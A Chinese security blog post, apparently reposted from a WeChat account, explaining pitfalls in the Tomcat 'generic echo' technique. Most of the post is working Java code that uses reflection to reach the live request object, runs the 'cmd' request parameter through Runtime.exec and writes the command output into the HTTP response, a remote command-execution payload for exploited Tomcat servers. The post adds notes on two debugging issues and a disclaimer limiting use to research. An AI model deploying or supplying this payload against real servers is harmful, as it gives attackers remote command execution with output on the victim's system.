扫一扫关注公众号,长期致力于安全研究
本文主要讲解Tomcat通用回显中遇到的一些小问题
全部代码如下,调用链在下方。不做过多讲解。
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try{
//获取ApplicationContext 该类service存在StandardService
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService) service.get(applicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[]) connectors.get(standardService);
Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
protocolHandler.setAccessible(true);
//获取内部类
Class<?>[] cls = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> cl : cls) {
if("org.apache.coyote.AbstractProtocol$ConnectionHandler".equals(cl.getName())){
Method getHandler = AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandler.setAccessible(true);
Field global = cl.getDeclaredField("global");
global.setAccessible(true);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(),null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
List<RequestInfo> list = (List<RequestInfo>) processors.get(requestGroupInfo);
Field reqs = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqs.setAccessible(true);
for (RequestInfo requestInfo : list) {
if(requestInfo.getMethod() != null){
Request request = (Request) reqs.get(requestInfo);
org.apache.catalina.connector.Request con_req = (org.apache.catalina.connector.Request) request.getNote(1);
InputStream stream = Runtime.getRuntime().exec(con_req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(stream).useDelimiter("\A");
String str = s.hasNext() ? s.next(): "";
con_req.getResponse().setContentType("text/html;charset=gb2312");
con_req.getResponse().getWriter().write(str.toString());
}
}
}
}
}catch(Exception e){
}
}
问题1,在61行处 本人加了一个if
先看一下问题点,如果不加该if的话。是无法回显的
通过断点跟踪,可以发现processors里面。其实是有两个RequestInfo,第一处的RequestInfo中的req其实是为null的。
所以找了一种解决方法,在该对象中有一处getMethod的方法。而里面调用到了req,所以对该方法的返回进行判断即可。
public String getMethod() {
return this.req.method().toString();
}
问题2 为什么不直接用org.apache.coyote.Request来获取response?
其实该对象中,是存在response的
但是跟进去之后,就会发现问题,该类没有实现HttpServletResponse接口,所以需要才有了后续操作进行获取
下方扫一下扫,即可关注
原文始发于微信公众号(安全族):Tomcat通用回显的坑
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论